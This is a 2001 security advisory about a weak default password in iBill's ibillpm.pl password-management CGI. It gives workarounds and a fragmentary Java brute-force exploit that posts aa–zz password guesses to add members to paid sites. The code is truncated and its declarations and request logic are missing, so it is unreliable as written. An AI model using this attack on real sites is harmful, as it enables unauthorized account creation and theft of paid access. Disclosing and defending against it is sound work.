Weak Authentication in iBill's Password Management CGI
27 Oct. 2001
Summary
Password Management (PM) solution by iBill consists of a CGI called ibillpm.pl. A security vulnerability in the product's default installation allows easy brute forcing of the installed password.
Credit:
The information has been provided by MK Ultra.
Vulnerable applications:
Websites that use iBill's Password Management CGI script, ibillpm.pl, using default setup process performed by iBill.
iBill hard codes a weak password for the user management script, ibillpm.pl. The weak password's prefix is MASTER_ACCOUNT plus only 2 letters that are lowercase (aa - zz). This allows easily brute forcing via POST requests of the password. That would allow to add/delete/chgpwd of users in the .htpasswd file. The CGI keeps no auditing record of what changes it makes, nor does the web log file indicate what username was added to the system (it does not log POST data).
Impact:
This allows an attacker to bypass the billing system and add an arbitrary username/password to a website's "member" section. Thousands are estimated to use the default setup.
Workarounds:
1) Move the script to a less obvious place than the default so it is harder to find (don't forget to change the path at the iBill admin website).
2) Change your web server configuration files (httpd.conf for Apache) to only allow addresses from .ibill.com to access the path to ibillpm.pl. See your web server documentation for details on how to do this.
Exploit:
// 10/25/2001
import java.net.*;
import java.io.*;
/**
* IBillHack class for informational purposes only.
* This program brute-forces POST requests to the iBill Password Management CGI
* and allows us to add/delete usernames and change passwords on websites
* that used iBill Password Management using default installation.
* By default iBill sets up the $authpwd as MASTER_ACCOUNTxx, where "xx"
* is a pair of letters [a-z]. It is suggested that all clients of iBill
* that use Password Management aquire a new $authpwd for their ibillpm.pl
* script.
* MASTER_ACCOUNT can be found as part of the <FORM> tag on the signup pages:
* <input type="hidden" name="account" value="123456-500">
* OR
* <input type="hidden" name="account" value="123456500">
* The last 3 digits is the sub-account, and somtimes there is a dash,
* sometimes not. In this case MASTER_ACCOUNT=123456.
*
* /cgi-bin/ibillpm.pl is the default path to the CGI. Sometimes the webmaster
* is smart enough not to use the default and request that $authpwd be changed
* to something more secure. In addition to these measures, a webmaster can
* also modify their httpd.conf to only allow iBill IP addresses to request
* the Password Management CGI script.
*
* The correct $authpwd is not saved here. That is an optional exercise for
* the reader.
*
* Here are the return codes from the ibillpm.pl script (not HTTP status codes)
* and their meaning:
*
* 501 - authentication failed
* 502 - invalid request type (command must be add, delete, or chgpwd)
* 503 - failed to locate the password file
* 504 - failed to open the password file
* 505 - specified user already exists
* 506 - specified user doesn't exist
* 507 - invalid username
* 508 - invalid password
*
* 201 - add user success
* 202 - delete user success
* 203 - change password success
*
*/
for (int i = 0; i < letters.length; i++) {
for (int j = 0; j < letters.length; j++) {
try {
Socket s = new Socket(InetAddress.getByName(args[0]), 80);
StringBuffer headers = new StringBuffer();
System.err.println("--------------------------------------------------------------------");
System.err.println("Finished trying all aa-zz combinations for MASTER_ACCOUNT " + args[5]);
System.err.println("Try logging into the members section of " + args[0] + " with username/password " + args[3] + "/" + args[4]);
System.err.println("--------------------------------------------------------------------");
}
